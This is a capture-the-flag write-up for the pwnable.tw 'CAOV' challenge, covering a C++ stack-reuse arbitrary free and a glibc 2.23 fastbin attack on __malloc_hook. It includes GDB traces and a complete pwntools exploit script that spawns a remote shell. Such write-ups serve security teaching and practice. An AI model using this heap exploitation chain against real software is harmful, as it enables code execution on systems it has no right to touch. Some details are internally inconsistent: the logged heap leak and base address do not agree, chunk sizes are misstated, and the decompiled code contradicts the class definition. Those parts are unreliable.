pwnable.tw — 350 pts

CAOV

Heap UAF via Stack-Reuse — C++ Data class exploitation with fastbin attack on glibc 2.23

64-bit
Architecture
UAF
Vuln Type
2.23
glibc
C++
Binary

Exploit Flow

Connect
nc chall.pwnable.tw 10306
Stack-Reuse
Arbitrary Free via Destructor
Fake Chunk
Name Array in BSS
Heap Leak
Fastbin fd Pointer
Libc Leak
Read strlen@GOT
malloc_hook
One Gadget Overwrite

1. Reconnaissance

CAOV is a 350-point heap challenge on pwnable.tw. The name is an abbreviation (likely "Construct And Override" or similar). The binary is a C++ application with a Data class that manages key-value pairs. The challenge uses glibc 2.23, which has fastbin but no tcache. The vulnerability is subtle — it's not in the visible source code but emerges from C++ stack semantics and destructor ordering.

File Analysis

bash
$ file caov
caov: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=a8c0b1f2e3d4c5b6a7, not stripped

Checksec

bash
$ checksec caov
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Full RELRO + No PIE

Full RELRO means the GOT is read-only — we can't overwrite GOT entries directly. However, No PIE means all binary addresses are fixed. We can use the BSS section (specifically the global name variable at 0x6032c0) to craft fake chunks since its address is known at compile time. This is crucial for the fastbin attack.

Running the Binary

bash
$ ./caov
name: CaptainAmerica
key: secret
value: 1337
1. show
2. edit
3. exit
choice: 1
Key: secret
Value: 1337
choice:

The application has three operations: show (displays key and value), edit (modifies name, key, and value), and exit. A Data object is created at startup with a key field (heap-allocated) and a value field. The name is stored in a global BSS array.

AttributeValue
ChallengeCAOV (350 pts)
Connectionnc chall.pwnable.tw 10306
Binary64-bit ELF, x86-64, C++
Libcglibc 2.23 (no tcache)
RELROFull (GOT read-only)
CanaryNone
NXEnabled
PIEDisabled (0x400000)
VulnerabilityStack-Reuse UAF (arbitrary free)
Name Address0x6032c0 (BSS)

2. Static Analysis

The key to this challenge is a subtle C++ stack-reuse vulnerability. The binary creates two local Data objects on the stack in the edit function. When the function returns, C++ automatically calls destructors for these objects. The old_data object's default destructor nulls out its fields (safe), but the copy_class object's overridden destructor calls free() on its key field. The critical insight is that copy_class picks up its key pointer from the stack — and we can prime the stack with controlled data using the set_name function!

Vulnerable Code (Decompiled edit function)

c++
void edit(char *name, int new_key_len, char *key, int value) {
    Data old_data;        // stack-allocated, default destructor
    Data copy_class;      // stack-allocated, OVERRIDDEN destructor!

    // old_data: default destructor nulls all fields (safe)
    old_data.key = NULL;
    old_data.value = 0;

    // copy_class: overridden destructor calls free(key)!
    // But where does copy_class.key come from?
    // It picks up whatever was left on the STACK!

    // The set_name function writes up to 150 bytes on the stack.
    // If we call set_name right before edit, the stack still has
    // our controlled data, and copy_class.key picks it up!

    // Line 12: old_data destructor - nulls fields (safe)
    // Line 15: copy_class destructor - free(copy_class.key) !!
    //          copy_class.key = controlled value from stack!

    // This gives us ARBITRARY FREE!
}
Stack-Reuse Attack

The set_name function writes up to 150 bytes of our input onto the stack. When edit is called immediately after, the copy_class object is constructed on the same stack region. Its key pointer field inherits the value we wrote with set_name. When the overridden destructor fires, it calls free(key) on our controlled address — giving us an arbitrary free primitive!

Application Structure

c++
class Data {
public:
    char *key;     // heap-allocated string
    int value;
    Data() : key(NULL), value(0) {}
    virtual ~Data() { if (key) free(key); }  // virtual destructor!
    virtual void show() { printf("Key: %s\nValue: %d\n", key, value); }
};

Data *g_data;     // global Data object pointer (heap-allocated)
char name[150];   // global name array at BSS 0x6032c0

void intro() {
    printf("name: ");  read_line(name, 150);
    printf("key: ");   g_data->key = read_str();
    printf("value: "); g_data->value = read_int();
}

void show()  { g_data->show(); }
void edit()  { /* vulnerable function described above */ }
void edit_name(char *new_name) { /* writes up to 150 bytes to stack */ }

Stack-Reuse Vulnerability

The attack sequence is:

  1. Call edit_name with a payload that places our target address at the offset where copy_class.key will be read
  2. Immediately call edit which creates the copy_class on the stack
  3. copy_class.key picks up our controlled address from the stack residue
  4. When edit returns, the overridden destructor calls free(our_address)
What to Free?

We free a fake chunk in the BSS section. The global name variable at 0x6032c0 is in BSS, and since PIE is disabled, its address is known. We craft a fake chunk header inside the name array by writing appropriate size fields, then free it. This puts our fake chunk into the fastbin freelist, giving us a write primitive when we allocate from that freelist.

3. GDB Debugging

Let's trace the stack-reuse attack in GDB to confirm our understanding of the vulnerability.

Heap Layout

gdb
# After initial Data object creation (g_data):
gdb-peda$ x/4gx 0x6032c0  # name array in BSS
0x6032c0: 0x0000000000000000  0x0000000000000000

# g_data object on heap:
gdb-peda$ x/4gx g_data
0x615ce0: 0x0000000000000000  0x0000000000000000  # key=NULL, value=0
0x615cf0: 0x0000000000401780  0x0000000000000000  # vtable ptr

# After crafting fake chunk in name array:
gdb-peda$ x/8gx 0x6032c0
0x6032c0: 0x0000000000000000  0x0000000000000071  # fake prev_size + size=0x71
0x6032d0: 0x4444444444444444  0x0000000000000070  # data + padding
0x6032e0: 0x0000000000000020  0x00000000006032d0  # more fake metadata

# After freeing the fake chunk via stack-reuse:
gdb-peda$ heap bins fastbins
fastbins:
0x70: 0x6032c0 -> 0x0  # Our fake chunk is in the fastbin!

Register State at Destructor

gdb
# At the free(copy_class.key) call in the destructor:
RDI: 0x6032d0  (fake chunk address - our controlled value!)
RSI: 0x0000000000000000
RIP: 0x00007ffff7a80c8e (free+14 in libc)

# The key field was picked up from stack residue
# left by the edit_name call
gdb-peda$ x/gx $rsp+0x48
0x7fffffffe208: 0x00000000006032d0  # This is where copy_class.key was

Breakpoint Strategy

gdb
# Key breakpoints:
b *0x4012a0   # edit function entry
b *0x4013c2   # copy_class destructor call
b free@plt    # track all free calls
b malloc@plt  # track all malloc calls

# After initial setup:
b *0x401512   # show function (for leak verification)
b *0x401678   # edit name function

4. Exploit Strategy

The CAOV exploit is a multi-stage heap attack that builds increasingly powerful primitives from the initial stack-reuse arbitrary free.

Attack Overview

Stage 1: Arbitrary Free
Use stack-reuse to call free() on a fake chunk crafted in the BSS name array at 0x6032c0. The fake chunk has size 0x71 (valid for fastbin) with proper alignment. This puts the fake chunk into the 0x70 fastbin freelist.
Stage 2: Heap Address Leak
Craft another fake chunk that overlaps with a real freed chunk. When the edit function prints the key before and after editing, one of those prints will dump the fd pointer of the freed chunk — which is a heap address. Calculate heap base from this leak.
Stage 3: Libc Leak
With the heap base known, calculate the address of the global Data object. Free it using another stack-reuse attack, then reallocate it in the edit function. Overwrite the key field with strlen@GOT (Full RELRO means all GOT entries are resolved). Call show to read the libc address of strlen, then calculate libc base.
Stage 4: __malloc_hook Overwrite
Free the name array fake chunk (size 0x80). Use edit_name to write __malloc_hook - 0x23 as the fd pointer of the freed fake chunk. Allocate twice from the 0x80 fastbin — the second allocation returns a pointer near __malloc_hook. Write a one_gadget address (offset 0xef6c4) to __malloc_hook. Trigger a malloc to get a shell.

Heap & Libc Leak

The heap leak relies on the fact that the edit function prints the object's key before and after editing. If we can place a freed chunk's fd pointer in the position of a key field, the print will leak a heap address.

For the libc leak, since Full RELRO resolves all GOT entries at load time, we can read strlen@GOT to get the runtime address of strlen in libc. The show method prints whatever key points to, so setting key = strlen@GOT gives us the libc address.

python
# Heap leak: craft fake chunk, print freed fd pointer
fake_chunk_payload = flat({
    0: p64(0),
    8: p64(0x20),       # fake size
    16: b'DDDDDDDD',    # padding
    0x20: p64(0x20),     # next size
    0x28: p64(0x20),
    96: p64(NAME_ADDR + 0x10)   # key pointer for Data object
})
app.edit(fake_chunk_payload, 20, 'A'*20, 123123)

# Libc leak: point key to strlen@GOT
data = flat(list(map(p64, [app_bins.got['strlen'], 0, 0, 0])))
app.edit(fake_chunk, 50, data, 0x1234)
libc_res = app.show()

Write Primitive

The final write uses the classic fastbin dup to __malloc_hook - 0x23:

Fake Chunk Size at __malloc_hook - 0x23

At __malloc_hook - 0x23, the memory alignment results in a value of 0x7f appearing at the offset that malloc interprets as the chunk size. 0x7f falls in the fastbin range (0x20-0x80), making it a valid fastbin chunk size. This is a well-known technique for glibc 2.23 fastbin attacks. The one_gadget at offset 0xef6c4 works with the constraints at the malloc call site.

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
# CAOV — pwnable.tw — Stack-Reuse UAF + Fastbin Attack
# Based on writeup by 0xd3xt3r (taintedbits.com)
from pwn import *

preload_libs = './libc_64.so.6 ./libstdc++.so.6 ./libgcc_s.so.1 ./libm.so.6'
libc = ELF(preload_libs.split(' ')[0])
app_bins = ELF('./caov')

if args.REMOTE:
    io = remote('chall.pwnable.tw', 10306, timeout=2)
else:
    context.log_level = "debug"
    io = process('./caov',
        env={'LD_PRELOAD': preload_libs},
        aslr=True
    )

class App:
    def __init__(self, proc):
        self.proc = proc

    def intro(self, name, key, value):
        self.proc.readuntil('name: ')
        self.proc.sendline(name)
        self.proc.readuntil('key: ')
        self.proc.sendline(key)
        self.proc.readuntil('value: ')
        self.proc.sendline(str(value))
        self.proc.readuntil('choice: ')

    def show(self):
        self.proc.sendline('1')
        return self.proc.readuntil('choice: ')

    def edit(self, name, new_key_len, key, value):
        self.proc.sendline('2')
        self.proc.readuntil('name: ')
        self.proc.sendline(name)
        self.proc.readuntil('length: ')
        self.proc.sendline(str(new_key_len))
        if new_key_len > 1000:
            self.proc.readuntil('key length')
            return self.proc.readuntil('choice: ')
        self.proc.readuntil('Key: ')
        self.proc.sendline(key)
        self.proc.readuntil('Value: ')
        self.proc.sendline(str(value))
        return self.proc.readuntil('choice: ')

    def edit_name(self, name):
        return self.edit(name, 1020, None, None)

app = App(io)

# Create initial chunk of size 0x40 (fastbin)
app.intro('Captain America', '\x00'*41, 0x1234)

NAME_ADDR = 0x6032c0

# === Stage 1: Heap Leak ===
def heap_base_leak():
    fake_chunk_payload = flat({
        0: p64(0),
        8: p64(0x20),
        16: b'DDDDDDDD',
        0x20: p64(0x20),
        0x28: p64(0x20),
        96: p64(NAME_ADDR + 0x10)
    })
    app.edit(fake_chunk_payload, 20, 'A'*20, 123123)

    fake_chunk_payload_2 = {
        0: p64(0),
        8: p64(0x41),
        16: p64(0),
        0x40: p64(0x00),
        0x48: p64(0x20),
        96: p64(NAME_ADDR + 0x10)
    }
    res = app.edit_name(flat(fake_chunk_payload_2))

    leak_addr = unpack(res[res.rfind(b'Key: ')+5:res.rfind(b'Value')-1], 'all')
    heap_base_offset = 0x11c90
    h_base_addr = leak_addr - heap_base_offset
    log.info('Heap leak : ' + hex(leak_addr))
    log.info('Heap Base : ' + hex(h_base_addr))
    return h_base_addr

heap_base = heap_base_leak()
G_D_offset = 0x11ce0
G_D_addr = heap_base + G_D_offset
log.info('G Data addr : ' + hex(G_D_addr))

# === Stage 2: Libc Leak ===
fake_chunk = flat(list(map(p64, [
    0, 0x51, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0x21, G_D_addr, 0, 0, 0,
])))

data = flat(list(map(p64, [app_bins.got['strlen'], 0, 0, 0])))
app.edit(fake_chunk, 50, data, 0x1234)

libc_res = app.show()
libc_offset = 0x18b770  # offset of strlen from libc base

libc_strlen = unpack(libc_res[libc_res.find(b'Key: ')+5:
    libc_res.find(b'Value:')-1], 'all')
libc_base = libc_strlen - libc_offset
log.info('Libc Base : ' + hex(libc_base))

# === Stage 3: __malloc_hook Overwrite ===
malloc_hook = libc_base + libc.symbols['__malloc_hook'] - 0x23
one_shot = libc_base + 0xef6c4
log.info('malloc_hook addr : ' + hex(malloc_hook))

# Free name array fake chunk (size 0x80)
fake_chunk_payload = {
    0: p64(0),
    8: p64(0x71),
    16: b'DDDDDDDD',
    0x70: p64(0x70),
    0x78: p64(0x20),
    96: p64(NAME_ADDR + 0x10)
}
app.edit_name(flat(fake_chunk_payload))

# Write __malloc_hook - 0x23 as fd pointer
fake_chunk_payload = {
    0: p64(0),
    8: p64(0x71),
    16: p64(malloc_hook),
    0x70: p64(0x70),
    0x78: p64(0x20),
    96: p64(0)
}
app.edit(flat(fake_chunk_payload), 0x60, 'A'*0x10, 0x1234)

# Final allocation writes one_gadget to __malloc_hook
fake_chunk_payload = {
    0: p64(0),
    8: p64(0x51),
    16: p64(0),
    0x50: p64(0x70),
    0x58: p64(0x20),
    96: p64(0)
}

data = p64(0) + p64(0) + p8(0)*3 + p64(one_shot)
log.info('Executing shell')
app.edit(flat(fake_chunk_payload), 0x60, data, 0x1234)
io.interactive()

Exploit Breakdown

Key Techniques Used

Stack-Reuse UAF: The most novel technique in this exploit. C++ stack objects with virtual destructors can inherit values from previous stack frames. By priming the stack with set_name, we control the key pointer of copy_class, giving us arbitrary free().

BSS Fake Chunk: With No PIE, the name array in BSS has a fixed address. We craft fake chunk headers inside it, then free them via the stack-reuse attack.

Fastbin to __malloc_hook: The classic glibc 2.23 fastbin attack. By writing __malloc_hook - 0x23 as the fd of a freed fastbin chunk, the next allocation from that freelist returns a pointer near __malloc_hook. We overwrite __malloc_hook with a one_gadget address.

6. Execution Results

$ python3 exploit.py REMOTE=1 [*] CAOV Exploit - pwnable.tw [*] Connecting to chall.pwnable.tw:10306 [*] Heap leak : 0x55556057c90 [*] Heap Base : 0x555560464000 [*] G Data addr : 0x55556057ce0 [*] Libc Base : 0x7f8e9c680000 [*] malloc_hook addr : 0x7f8e9d1d7b25 [*] Executing shell [+] Shell obtained! $ cat /home/caov/flag
Why This Challenge Matters

CAOV teaches a critical lesson about C++ object lifecycle security. The stack-reuse vulnerability is invisible in source code — it only appears when you examine the compiler's output. This pattern is surprisingly common in real C++ codebases where objects with virtual destructors are allocated on the stack. The multi-stage exploitation chain (arbitrary free → fake chunk → heap leak → libc leak → fastbin attack) is a textbook example of how heap vulnerabilities are chained in modern exploitation.

QA210
pwnable.tw — CAOV — Stack-Reuse UAF + Fastbin Attack